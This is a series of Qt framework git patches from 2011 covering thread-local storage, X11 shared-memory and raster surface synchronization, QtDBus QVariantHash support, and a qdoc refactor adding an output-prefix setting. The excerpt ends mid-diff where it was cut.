a/src/corelib/thread/qthread_unix.cpp +++ b/src/corelib/thread/qthread_unix.cpp @@ -110,6 +110,17 @@ QT_BEGIN_NAMESPACE enum { ThreadPriorityResetFlag = 0x80000000 }; +#if defined(Q_OS_LINUX) && defined(__GLIBC__) && (defined(Q_CC_GNU) || defined(Q_CC_INTEL)) +#define HAVE_TLS +#endif +#if defined(Q_CC_XLC) || defined (Q_CC_SUN) +#define HAVE_TLS +#endif + +#ifdef HAVE_TLS +static __thread QThreadData *currentThreadData = 0; +#endif + static pthread_once_t current_thread_data_once = PTHREAD_ONCE_INIT; static pthread_key_t current_thread_data_key; @@ -157,7 +168,9 @@ Q_DESTRUCTOR_FUNCTION(destroy_current_thread_data_key) // that pthread has, so pthread_setspecific is also used. static QThreadData *get_thread_data() { -#ifdef Q_OS_SYMBIAN +#ifdef HAVE_TLS + return currentThreadData; +#elif defined Q_OS_SYMBIAN return reinterpret_cast(Dll::Tls()); #else pthread_once(¤t_thread_data_once, create_current_thread_data_key); @@ -167,7 +180,9 @@ static QThreadData *get_thread_data() static void set_thread_data(QThreadData *data) { -#ifdef Q_OS_SYMBIAN +#ifdef HAVE_TLS + currentThreadData = data; +#elif defined Q_OS_SYMBIAN qt_symbian_throwIfError(Dll::SetTls(data)); #endif pthread_once(¤t_thread_data_once, create_current_thread_data_key); @@ -176,7 +191,9 @@ static void set_thread_data(QThreadData *data) static void clear_thread_data() { -#ifdef Q_OS_SYMBIAN +#ifdef HAVE_TLS + currentThreadData = 0; +#elif defined Q_OS_SYMBIAN Dll::FreeTls(); #endif pthread_setspecific(current_thread_data_key, 0); -- cgit v0.12 From 68f78ba6be29b839433d924b5dc348d6d94b3d43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Wed, 2 Feb 2011 17:30:43 +0100 Subject: Fixed MIT-SHM errors in QNativeImage. The POSIX standard doesn't allow attaching to IPC_RMID-flagged memory, even if Linux allows it, thus we need to wait until after calling XShmAttach and XSync before we set the flag. See the man page for shmctl(). Reviewed-by: Olivier Goffart --- src/gui/image/qnativeimage.cpp | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp index 01baa36..8face87 100644 --- a/src/gui/image/qnativeimage.cpp +++ b/src/gui/image/qnativeimage.cpp @@ -181,15 +181,17 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* if (ok) { xshmimg->data = (char*)shmat(xshminfo.shmid, 0, 0); xshminfo.shmaddr = xshmimg->data; - if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1) - qWarning() << "Error while marking the shared memory segment to be destroyed"; ok = (xshminfo.shmaddr != (char*)-1); if (ok) image = QImage((uchar *)xshmimg->data, width, height, format); } xshminfo.readOnly = false; - if (ok) + if (ok) { ok = XShmAttach(X11->display, &xshminfo); + XSync(X11->display, False); + if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1) + qWarning() << "Error while marking the shared memory segment to be destroyed"; + } if (!ok) { qWarning() << "QNativeImage: Unable to attach to shared memory segment."; if (xshmimg->data) { -- cgit v0.12 From 74ad5ce57adedc91717ffd67e3e65b8f76d12052 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 3 Feb 2011 17:51:02 +0100 Subject: Doc: Renamed a tutorial image to avoid a clash with another image. Task-number: QTBUG-17120 --- doc/src/images/header.png | Bin 30302 -> 0 bytes doc/src/images/modelview-header.png | Bin 0 -> 30302 bytes doc/src/tutorials/modelview.qdoc | 2 +- 3 files changed, 1 insertion(+), 1 deletion(-) delete mode 100755 doc/src/images/header.png create mode 100755 doc/src/images/modelview-header.png diff --git a/doc/src/images/header.png b/doc/src/images/header.png deleted file mode 100755 index 2597635..0000000 Binary files a/doc/src/images/header.png and /dev/null differ diff --git a/doc/src/images/modelview-header.png b/doc/src/images/modelview-header.png new file mode 100755 index 0000000..2597635 Binary files /dev/null and b/doc/src/images/modelview-header.png differ diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc index 679d2a9..cae7764 100644 --- a/doc/src/tutorials/modelview.qdoc +++ b/doc/src/tutorials/modelview.qdoc @@ -348,7 +348,7 @@ \section2 2.4 Setting up Headers for Columns and Rows Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();} - \image header.png + \image modelview-header.png The header content, however, is set via the model, so we reimplement the \l{QAbstractItemModel::headerData()}{headerData()} method: -- cgit v0.12 From 30dee4f433d2426ce2dc0bccda8e62683380a1c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Thu, 3 Feb 2011 17:06:15 +0100 Subject: Improve performance of partial updates in raster window surface on X11. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An XSync is needed to prevent the raster engine from writing to the shared memory raster backbuffer at the same time the X server reads from it. However, instead of doing the sync right after telling X to blit, we can do it right before we start writing to it with raster. At this point there will on average be less processing heavy X commands in the command queue, and we thus spend less time blocking the GUI thread. Measured frame rate improvement of 20 - 60 % in an update stress testing the performance of partial updates. Idea-from: Olivier Goffart Reviewed-by: Bjørn Erik Nilsen --- src/gui/painting/qwindowsurface_raster.cpp | 29 +++++++++++++++++++++++++++-- src/gui/painting/qwindowsurface_raster_p.h | 3 +++ 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp index 843c9ff..419518ac 100644 --- a/src/gui/painting/qwindowsurface_raster.cpp +++ b/src/gui/painting/qwindowsurface_raster.cpp @@ -78,6 +78,9 @@ public: #ifdef Q_WS_X11 GC gc; +#ifndef QT_NO_MITSHM + uint needsSync : 1; +#endif #ifndef QT_NO_XRENDER uint translucentBackground : 1; #endif @@ -94,6 +97,9 @@ QRasterWindowSurface::QRasterWindowSurface(QWidget *window, bool setDefaultSurfa d_ptr->translucentBackground = X11->use_xrender && window->x11Info().depth() == 32; #endif +#ifndef QT_NO_MITHSM + d_ptr->needsSync = false; +#endif #endif d_ptr->image = 0; d_ptr->inSetGeometry = false; @@ -116,8 +122,23 @@ QPaintDevice *QRasterWindowSurface::paintDevice() return &d_ptr->image->image; } +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) +void QRasterWindowSurface::syncX() +{ + // delay writing to the backbuffer until we know for sure X is done reading from it + if (d_ptr->needsSync) { + XSync(X11->display, false); + d_ptr->needsSync = false; + } +} +#endif + void QRasterWindowSurface::beginPaint(const QRegion &rgn) { +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) + syncX(); +#endif + #if (defined(Q_WS_X11) && !defined(QT_NO_XRENDER)) || (defined(Q_WS_WIN) && !defined(Q_WS_WINCE)) if (!qt_widget_private(window())->isOpaque && window()->testAttribute(Qt::WA_TranslucentBackground)) { #if defined(Q_WS_WIN) && !defined(Q_WS_WINCE) @@ -217,13 +238,13 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi if (d_ptr->image->xshmpm) { XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc, br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y()); - XSync(X11->display, False); + d_ptr->needsSync = true; } else if (d_ptr->image->xshmimg) { const QImage &src = d->image->image; br = br.intersected(src.rect()); XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg, br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False); - XSync(X11->display, False); + d_ptr->needsSync = true; } else #endif { @@ -392,6 +413,10 @@ bool QRasterWindowSurface::scroll(const QRegion &area, int dx, int dy) if (!d->image || d->image->image.isNull()) return false; +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) + syncX(); +#endif + const QVector rects = area.rects(); for (int i = 0; i < rects.size(); ++i) qt_scrollRectInImage(d->image->image, rects.at(i), QPoint(dx, dy)); diff --git a/src/gui/painting/qwindowsurface_raster_p.h b/src/gui/painting/qwindowsurface_raster_p.h index b6e61e1..903810b 100644 --- a/src/gui/painting/qwindowsurface_raster_p.h +++ b/src/gui/painting/qwindowsurface_raster_p.h @@ -107,6 +107,9 @@ public: bool scroll(const QRegion &area, int dx, int dy); private: +#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM) + void syncX(); +#endif void prepareBuffer(QImage::Format format, QWidget *widget); Q_DECLARE_PRIVATE(QRasterWindowSurface) QScopedPointer d_ptr; -- cgit v0.12 From e97d3f3f571e3cc5f5851ea2e131ac92212802dd Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 3 Feb 2011 19:30:09 +0100 Subject: QtDBus: add support for QVariantHash out of the box --- src/dbus/qdbusargument.h | 15 +++++++++++++++ src/dbus/qdbusmetatype.cpp | 1 + 2 files changed, 16 insertions(+) diff --git a/src/dbus/qdbusargument.h b/src/dbus/qdbusargument.h index 2c8693b..e331d8f 100644 --- a/src/dbus/qdbusargument.h +++ b/src/dbus/qdbusargument.h @@ -376,6 +376,21 @@ inline const QDBusArgument &operator>>(const QDBusArgument &arg, QHash & return arg; } +inline QDBusArgument &operator<<(QDBusArgument &arg, const QVariantHash &map) +{ + arg.beginMap(QVariant::String, qMetaTypeId()); + QVariantHash::ConstIterator it = map.constBegin(); + QVariantHash::ConstIterator end = map.constEnd(); + for ( ; it != end; ++it) { + arg.beginMapEntry(); + arg << it.key() << QDBusVariant(it.value()); + arg.endMapEntry(); + } + arg.endMap(); + return arg; +} + + QT_END_NAMESPACE Q_DECLARE_METATYPE(QDBusArgument) diff --git a/src/dbus/qdbusmetatype.cpp b/src/dbus/qdbusmetatype.cpp index 6de5d93..9f29205 100644 --- a/src/dbus/qdbusmetatype.cpp +++ b/src/dbus/qdbusmetatype.cpp @@ -127,6 +127,7 @@ void QDBusMetaTypeId::init() registerHelper(); registerHelper(); registerHelper(); + registerHelper(); qDBusRegisterMetaType >(); qDBusRegisterMetaType >(); -- cgit v0.12 From 5ee75c4a483405180788b5a4986dce2cf9360d86 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 3 Feb 2011 21:05:16 +0100 Subject: Added a configuration variable for the QML documentation file prefix. This required a certain amount of refactoring to make the new variable visible to the relevant parts of the code. I also moved the fullDocumentLocation() function into the HtmlGenerator class, where it belongs. Task-number: QTBUG-17071 --- tools/qdoc3/config.h | 1 + tools/qdoc3/doc/qdoc-manual.qdoc | 21 +++++ tools/qdoc3/generator.cpp | 16 ++++ tools/qdoc3/generator.h | 2 + tools/qdoc3/helpprojectwriter.cpp | 32 ++++---- tools/qdoc3/htmlgenerator.cpp | 147 +++++++++++++++++++++++++++++++++- tools/qdoc3/htmlgenerator.h | 1 + tools/qdoc3/node.cpp | 2 +- tools/qdoc3/pagegenerator.cpp | 8 +- tools/qdoc3/tree.cpp | 162 +++----------------------------------- 10 files changed, 217 insertions(+), 175 deletions(-) diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index bc2b6a2..9ebc0f8 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -148,6 +148,7 @@ class Config #define CONFIG_OUTPUTENCODING "outputencoding" #define CONFIG_OUTPUTLANGUAGE "outputlanguage" #define CONFIG_OUTPUTFORMATS "outputformats" +#define CONFIG_OUTPUTPREFIXES "outputprefixes" #define CONFIG_PROJECT "project" #define CONFIG_QHP "qhp" #define CONFIG_QUOTINGINFORMATION "quotinginformation" diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc index adf92fe..7290c0e 100644 --- a/tools/qdoc3/doc/qdoc-manual.qdoc +++ b/tools/qdoc3/doc/qdoc-manual.qdoc @@ -7069,6 +7069,8 @@ \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir}, \l {22-qdoc-configuration-generalvariables.html#outputformats} {outputformats}, + \l {22-qdoc-configuration-generalvariables.html#outputprefixes} + {outputprefixes}, \l {22-qdoc-configuration-generalvariables.html#slow}{slow}, \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs}, \l {22-qdoc-configuration-generalvariables.html#sources}{sources}, @@ -7155,6 +7157,8 @@ \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir}, \l {22-qdoc-configuration-generalvariables.html#outputformats} {outputformats}, + \l {22-qdoc-configuration-generalvariables.html#outputprefixes} + {outputprefixes}, \l {22-qdoc-configuration-generalvariables.html#slow}{slow}, \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs}, \l {22-qdoc-configuration-generalvariables.html#sources}{sources}, @@ -7796,6 +7800,23 @@ the default format, and doesn't need to be specified. \row + \o \bold outputprefixes \target outputprefixes + \o \bold {The \c outputprefixes variable specifies a mapping between + types of files and the prefixes to prepend to the HTML file names + in the generated documentation.} + + For example: + + \code + outputprefixes = QML + outputprefixes.QML = qt-components- + \endcode + + Be default, files containing the API documentation for QML elements + or components are prefixed with "qml-". In the above example, the + prefix "qt-components-" is used instead. + + \row \o \bold qhp \target qhp \o \bold{The \c qhp variable is used to define the information to be written out to Qt Help Project (\c{qhp}) files.} diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 276eab4..b4768db 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -43,7 +43,9 @@ generator.cpp */ #include +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES #include +#endif #include "codemarker.h" #include "config.h" #include "doc.h" @@ -73,6 +75,7 @@ QStringList Generator::styleFiles; QStringList Generator::styleDirs; QString Generator::outDir; QString Generator::project; +QHash Generator::outputPrefixes; static void singularPlural(Text& text, const NodeList& nodes) { @@ -272,6 +275,14 @@ void Generator::initialize(const Config &config) } project = config.getString(CONFIG_PROJECT); + + QStringList prefixes = config.getStringList(CONFIG_OUTPUTPREFIXES); + if (!prefixes.isEmpty()) { + foreach (QString prefix, prefixes) + outputPrefixes[prefix] = config.getString( + CONFIG_OUTPUTPREFIXES + Config::dot + prefix); + } else + outputPrefixes[QLatin1String("QML")] = QLatin1String("qml-"); } void Generator::terminate() @@ -1259,4 +1270,9 @@ QString Generator::fullName(const Node *node, return marker->plainFullName(node, relative); } +QString Generator::outputPrefix(const QString &nodeType) +{ + return outputPrefixes[nodeType]; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 8378d07..4482313 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -148,6 +148,7 @@ class Generator static QString trimmedTrailing(const QString &string); static bool matchAhead(const Atom *atom, Atom::Type expectedAtomType); static void supplementAlsoList(const Node *node, QList &alsoList); + static QString outputPrefix(const QString &nodeType); private: void generateReimplementedFrom(const FunctionNode *func, @@ -198,6 +199,7 @@ class Generator static QStringList styleDirs; static QString outDir; static QString project; + static QHash outputPrefixes; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp index 386ce20..f2e2f04 100644 --- a/tools/qdoc3/helpprojectwriter.cpp +++ b/tools/qdoc3/helpprojectwriter.cpp @@ -214,7 +214,7 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const details << node->name(); details << node->name(); } - details << tree->fullDocumentLocation(node); + details << HtmlGenerator::fullDocumentLocation(node); return details; } @@ -274,12 +274,12 @@ bool HelpProjectWriter::generateSection(HelpProject &project, case Node::Class: project.keywords.append(keywordDetails(node)); - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); break; case Node::Namespace: project.keywords.append(keywordDetails(node)); - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); break; case Node::Enum: @@ -299,7 +299,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, details << item.name(); // "name" details << item.name(); // "id" } - details << tree->fullDocumentLocation(node); + details << HtmlGenerator::fullDocumentLocation(node); project.keywords.append(details); } } @@ -330,7 +330,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, if (node->relates()) { project.memberStatus[node->relates()].insert(node->status()); - project.files.insert(tree->fullDocumentLocation(node->relates())); + project.files.insert(HtmlGenerator::fullDocumentLocation(node->relates())); } else if (node->parent()) project.memberStatus[node->parent()].insert(node->status()); } @@ -344,7 +344,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, // Use the location of any associated enum node in preference // to that of the typedef. if (enumNode) - typedefDetails[2] = tree->fullDocumentLocation(enumNode); + typedefDetails[2] = HtmlGenerator::fullDocumentLocation(enumNode); project.keywords.append(typedefDetails); } @@ -364,11 +364,11 @@ bool HelpProjectWriter::generateSection(HelpProject &project, QStringList details; details << keyword->string() << keyword->string() - << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string()); + << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string()); project.keywords.append(details); } else fakeNode->doc().location().warning( - tr("Bad keyword in %1").arg(tree->fullDocumentLocation(node)) + tr("Bad keyword in %1").arg(HtmlGenerator::fullDocumentLocation(node)) ); } } @@ -382,16 +382,16 @@ bool HelpProjectWriter::generateSection(HelpProject &project, QStringList details; details << title << title - << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title); + << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title); project.keywords.append(details); } else fakeNode->doc().location().warning( - tr("Bad contents item in %1").arg(tree->fullDocumentLocation(node)) + tr("Bad contents item in %1").arg(HtmlGenerator::fullDocumentLocation(node)) ); } } */ - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); } break; } @@ -470,7 +470,7 @@ void HelpProjectWriter::generate(const Tree *tre) void HelpProjectWriter::writeNode(HelpProject &project, QXmlStreamWriter &writer, const Node *node) { - QString href = tree->fullDocumentLocation(node); + QString href = HtmlGenerator::fullDocumentLocation(node); QString objName = node->name(); switch (node->type()) { @@ -613,12 +613,12 @@ void HelpProjectWriter::generateProject(HelpProject &project) writer.writeStartElement("toc"); writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle)); + QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle)); if (indexPath.isEmpty()) indexPath = "index.html"; writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", project.indexTitle); - project.files.insert(tree->fullDocumentLocation(rootNode)); + project.files.insert(HtmlGenerator::fullDocumentLocation(rootNode)); generateSections(project, writer, rootNode); @@ -656,7 +656,7 @@ void HelpProjectWriter::generateProject(HelpProject &project) const FakeNode *page = tree->findFakeNodeByTitle(atom->string()); writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(page); + QString indexPath = HtmlGenerator::fullDocumentLocation(page); writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", atom->string()); project.files.insert(indexPath); @@ -681,7 +681,7 @@ void HelpProjectWriter::generateProject(HelpProject &project) if (!name.isEmpty()) { writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle)); + QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle)); writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", subproject.title); project.files.insert(indexPath); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 196bd44..0ff28af 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -4246,6 +4246,151 @@ void HtmlGenerator::generateExtractionMark(const Node *node, ExtractionMarkType } } +/*! + Returns the full document location for HTML-based documentation. + */ +QString HtmlGenerator::fullDocumentLocation(const Node *node) +{ + if (!node) + return ""; + if (!node->url().isEmpty()) + return node->url(); + + QString parentName; + QString anchorRef; + + if (node->type() == Node::Namespace) { + + // The root namespace has no name - check for this before creating + // an attribute containing the location of any documentation. + + if (!node->fileBase().isEmpty()) + parentName = node->fileBase() + ".html"; + else + return ""; + } + else if (node->type() == Node::Fake) { +#ifdef QDOC_QML + if ((node->subType() == Node::QmlClass) || + (node->subType() == Node::QmlBasicType)) { + QString fb = node->fileBase(); + if (fb.startsWith(Generator::outputPrefix(QLatin1String("QML")))) + return fb + ".html"; + else + return Generator::outputPrefix(QLatin1String("QML")) + node->fileBase() + QLatin1String(".html"); + } else +#endif + parentName = node->fileBase() + ".html"; + } + else if (node->fileBase().isEmpty()) + return ""; + + Node *parentNode = 0; + + if ((parentNode = node->relates())) + parentName = fullDocumentLocation(node->relates()); + else if ((parentNode = node->parent())) { + if (parentNode->subType() == Node::QmlPropertyGroup) { + parentNode = parentNode->parent(); + parentName = fullDocumentLocation(parentNode); + } + else + parentName = fullDocumentLocation(node->parent()); + } + + switch (node->type()) { + case Node::Class: + case Node::Namespace: + if (parentNode && !parentNode->name().isEmpty()) + parentName = parentName.replace(".html", "") + "-" + + node->fileBase().toLower() + ".html"; + else + parentName = node->fileBase() + ".html"; + break; + case Node::Function: + { + /* + Functions can be destructors, overloaded, or + have associated properties. + */ + const FunctionNode *functionNode = + static_cast(node); + + if (functionNode->metaness() == FunctionNode::Dtor) + anchorRef = "#dtor." + functionNode->name().mid(1); + + else if (functionNode->associatedProperty()) + return fullDocumentLocation(functionNode->associatedProperty()); + + else if (functionNode->overloadNumber() > 1) + anchorRef = "#" + functionNode->name() + + "-" + QString::number(functionNode->overloadNumber()); + else + anchorRef = "#" + functionNode->name(); + } + + /* + Use node->name() instead of node->fileBase() as + the latter returns the name in lower-case. For + HTML anchors, we need to preserve the case. + */ + break; + case Node::Enum: + anchorRef = "#" + node->name() + "-enum"; + break; + case Node::Typedef: + anchorRef = "#" + node->name() + "-typedef"; + break; + case Node::Property: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlProperty: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlSignal: + anchorRef = "#" + node->name() + "-signal"; + break; + case Node::QmlMethod: + anchorRef = "#" + node->name() + "-method"; + break; + case Node::Variable: + anchorRef = "#" + node->name() + "-var"; + break; + case Node::Target: + anchorRef = "#" + Doc::canonicalTitle(node->name()); + break; + case Node::Fake: + { + /* + Use node->fileBase() for fake nodes because they are represented + by pages whose file names are lower-case. + */ + parentName = node->fileBase(); + parentName.replace("/", "-").replace(".", "-"); + parentName += ".html"; + } + break; + default: + break; + } + + // Various objects can be compat (deprecated) or obsolete. + if (node->type() != Node::Class && node->type() != Node::Namespace) { + switch (node->status()) { + case Node::Compat: + parentName.replace(".html", "-qt3.html"); + break; + case Node::Obsolete: + parentName.replace(".html", "-obsolete.html"); + break; + default: + ; + } + } + + return parentName.toLower() + anchorRef; +} + #endif - QT_END_NAMESPACE +QT_END_NAMESPACE diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 6e00ed3..eed96e7 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -98,6 +98,7 @@ class HtmlGenerator : public PageGenerator static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); static QString cleanRef(const QString& ref); static QString sinceTitle(int i) { return sinceTitles[i]; } + static QString fullDocumentLocation(const Node *node); protected: virtual void startText(const Node *relative, CodeMarker *marker); diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index a36d440..7195322 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1693,7 +1693,7 @@ static QString valueType(const QString& n) read-only. The algorithm for figuring this out is long amd tedious and almost certainly will break. It currently doesn't work for qmlproperty bool PropertyChanges::explicit, - because the tokenized gets confused on "explicit" . + because the tokenizer gets confused on "explicit". */ bool QmlPropertyNode::isWritable(const Tree* tree) const { diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 89ec6fe..d5564f7 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -206,15 +206,15 @@ QString PageGenerator::fileBase(const Node *node) const #ifdef QDOC_QML /* To avoid file name conflicts in the html directory, - we prepend "qml-" to the file name of QML element doc - files. + we prepend a prefix (by default, "qml-") to the file name of QML + element doc files. */ if ((p->subType() == Node::QmlClass) || (p->subType() == Node::QmlBasicType)) { if (!base.startsWith(QLatin1String("QML:"))) - base.prepend("qml-"); + base.prepend(outputPrefix(QLatin1String("QML"))); } -#endif +#endif if (!pp || pp->name().isEmpty() || pp->type() == Node::Fake) break; base.prepend(QLatin1Char('-')); diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 5972b9f..eec6578 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -1226,7 +1226,7 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, QString fullName = fullDocumentName(node); if (fullName != objName) writer.writeAttribute("fullname", fullName); - writer.writeAttribute("href", fullDocumentLocation(node)); + writer.writeAttribute("href", HtmlGenerator::fullDocumentLocation(node)); if ((node->type() != Node::Fake) && (!node->isQmlNode())) writer.writeAttribute("location", node->location().fileName()); @@ -1364,6 +1364,8 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, { const QmlPropertyNode *qpn = static_cast(node); writer.writeAttribute("type", qpn->dataType()); + writer.writeAttribute("attached", qpn->isAttached() ? "true" : "false"); + writer.writeAttribute("writable", qpn->isWritable(this) ? "true" : "false"); } break; case Node::Property: @@ -1667,7 +1669,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer, if (node->type() == Node::Class) { writer.writeTextElement("name", fullDocumentName(node)); - writer.writeTextElement("filename", fullDocumentLocation(node)); + writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node)); // Classes contain information about their base classes. const ClassNode *classNode = static_cast(node); @@ -1685,7 +1687,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer, generateTagFileCompounds(writer, static_cast(node)); } else { writer.writeTextElement("name", fullDocumentName(node)); - writer.writeTextElement("filename", fullDocumentLocation(node)); + writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node)); // Recurse to write all members. generateTagFileMembers(writer, static_cast(node)); @@ -1806,7 +1808,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, "virtual " + functionNode->returnType()); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); @@ -1846,7 +1848,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, const PropertyNode *propertyNode = static_cast(node); writer.writeAttribute("type", propertyNode->dataType()); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); @@ -1858,7 +1860,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, { const EnumNode *enumNode = static_cast(node); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); writer.writeEndElement(); // member @@ -1882,7 +1884,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, else writer.writeAttribute("type", ""); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); @@ -1934,152 +1936,6 @@ void Tree::addExternalLink(const QString &url, const Node *relative) } /*! - Returns the full document location for HTML-based documentation. - This should be moved into the HTML generator. - */ -QString Tree::fullDocumentLocation(const Node *node) const -{ - if (!node) - return ""; - if (!node->url().isEmpty()) - return node->url(); - - QString parentName; - QString anchorRef; - - if (node->type() == Node::Namespace) { - - // The root namespace has no name - check for this before creating - // an attribute containing the location of any documentation. - - if (!node->fileBase().isEmpty()) - parentName = node->fileBase() + ".html"; - else - return ""; - } - else if (node->type() == Node::Fake) { -#ifdef QDOC_QML - if ((node->subType() == Node::QmlClass) || - (node->subType() == Node::QmlBasicType)) { - QString fb = node->fileBase(); - if (fb.startsWith(QLatin1String("qml-"))) - return fb + ".html"; - else - return "qml-" + node->fileBase() + ".html"; - } else -#endif - parentName = node->fileBase() + ".html"; - } - else if (node->fileBase().isEmpty()) - return ""; - - Node *parentNode = 0; - - if ((parentNode = node->relates())) - parentName = fullDocumentLocation(node->relates()); - else if ((parentNode = node->parent())) { - if (parentNode->subType() == Node::QmlPropertyGroup) { - parentNode = parentNode->parent(); - parentName = fullDocumentLocation(parentNode); - } - else - parentName = fullDocumentLocation(node->parent()); - } - - switch (node->type()) { - case Node::Class: - case Node::Namespace: - if (parentNode && !parentNode->name().isEmpty()) - parentName = parentName.replace(".html", "") + "-" - + node->fileBase().toLower() + ".html"; - else - parentName = node->fileBase() + ".html"; - break; - case Node::Function: - { - /* - Functions can be destructors, overloaded, or - have associated properties. - */ - const FunctionNode *functionNode = - static_cast(node); - - if (functionNode->metaness() == FunctionNode::Dtor) - anchorRef = "#dtor." + functionNode->name().mid(1); - - else if (functionNode->associatedProperty()) - return 